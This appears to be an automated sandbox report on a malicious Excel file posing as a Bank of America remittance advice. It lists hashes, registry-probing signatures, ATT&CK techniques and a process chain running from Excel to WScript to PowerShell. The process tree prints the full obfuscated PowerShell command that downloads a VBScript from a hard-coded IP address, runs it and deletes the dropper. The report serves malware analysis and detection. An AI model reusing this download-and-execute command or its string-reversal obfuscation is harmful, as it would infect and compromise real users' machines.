adbbd78d5c79c11d3e5f723085b3d5d3fb2a34047a3e2a8791cdd764b78b08f7

General

Target

Remittance_Advice_BofA.xls
Size

129KB
MD5

ef647821a5b83276209b316934bad8ab
SHA1

1e01b86c162aad282434c34d13147dd404e8d59a
SHA256

adbbd78d5c79c11d3e5f723085b3d5d3fb2a34047a3e2a8791cdd764b78b08f7
SHA512

a2d6cb284376ac52fbeaf895b85e7924b17248b4af8b057c5c24990430963aa0a04a427a3aa2634e4d8594579c23411afa5bbc446933f2fee2bf65dd60e4f55c

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

WScript.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4380	2696	WScript.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

13 2440 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Control Panel\International\Geo\Nation WScript.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
13	2440	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Control Panel\International\Geo\Nation	WScript.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies registry class 2 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	EXCEL.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	EXCEL.EXE

NTFS ADS 1 IoCs

Processes:

EXCEL.EXE

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\{4E5A521D-74E2-45B0-AC10-5FB1EAA0485A}\rkWwH.txt:Zone.Identifier	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2696 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2440 powershell.exe
2440 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2440 powershell.exe

pid	process
2440	powershell.exe
2440	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2440	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEWScript.exe

description	pid	process	target process
PID 2696 wrote to memory of 4380	2696	EXCEL.EXE	WScript.exe
PID 2696 wrote to memory of 4380	2696	EXCEL.EXE	WScript.exe
PID 4380 wrote to memory of 2440	4380	WScript.exe	powershell.exe
PID 4380 wrote to memory of 2440	4380	WScript.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Remittance_Advice_BofA.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2696

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\rkWwH.js"
2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4380

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference = 'SilentlyContinue' ;$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$we22='eW.teN tc' + 'ejbO-weN('; $b4df='olnwoD.)tnei' + 'lCb'; $c3=')''sbv.ew\''+pmet:vne$,''sbv.enixam/31.02.721.902//:ptth''(eliFda';$TC=$c3,$b4df,$we22 -Join '';IEX($TC|% {-join($_[-1..-$_.Length])});start-process($env:temp+ '\we.vbs');remove-item ($env:appdata + '\rkWwH.js')
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2440

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\rkWwH.js
Filesize
695B

MD5
958e7511e960acbe7f862384301d972d

SHA1
cb053892de113da9568f71ed9e0cde281ec1d8bd

SHA256
4470c999e598819193ab3e7fd01398d9051f9009a78c4ad3b2230fb6686614b6

SHA512
8a1c1a239b96737787a4934bc9edd3484efb41be5fce2d576220c8a8bd438d138866ba446986bd0b13958b1513f964106fc36038c8a9394780b2482ff78a2f10

Download Submit
memory/2440-144-0x00007FF9276A0000-0x00007FF928161000-memory.dmp

Filesize
10.8MB

Download
memory/2440-143-0x00007FF9276A0000-0x00007FF928161000-memory.dmp

Filesize
10.8MB

Download
memory/2440-142-0x00000213339A0000-0x00000213339C2000-memory.dmp

Filesize
136KB

Download
memory/2440-141-0x0000000000000000-mapping.dmp

Download
memory/2696-136-0x00007FF90E370000-0x00007FF90E380000-memory.dmp

Filesize
64KB

Download
memory/2696-138-0x00007FF90BF30000-0x00007FF90BF40000-memory.dmp

Filesize
64KB

Download
memory/2696-134-0x00007FF90E370000-0x00007FF90E380000-memory.dmp

Filesize
64KB

Download
memory/2696-137-0x00007FF90BF30000-0x00007FF90BF40000-memory.dmp

Filesize
64KB

Download
memory/2696-135-0x00007FF90E370000-0x00007FF90E380000-memory.dmp

Filesize
64KB

Download
memory/2696-133-0x00007FF90E370000-0x00007FF90E380000-memory.dmp

Filesize
64KB

Download
memory/2696-132-0x00007FF90E370000-0x00007FF90E380000-memory.dmp

Filesize
64KB

Download
memory/2696-146-0x00007FF90E370000-0x00007FF90E380000-memory.dmp

Filesize
64KB

Download
memory/2696-147-0x00007FF90E370000-0x00007FF90E380000-memory.dmp

Filesize
64KB

Download
memory/2696-148-0x00007FF90E370000-0x00007FF90E380000-memory.dmp

Filesize
64KB

Download
memory/2696-149-0x00007FF90E370000-0x00007FF90E380000-memory.dmp

Filesize
64KB

Download
memory/4380-139-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads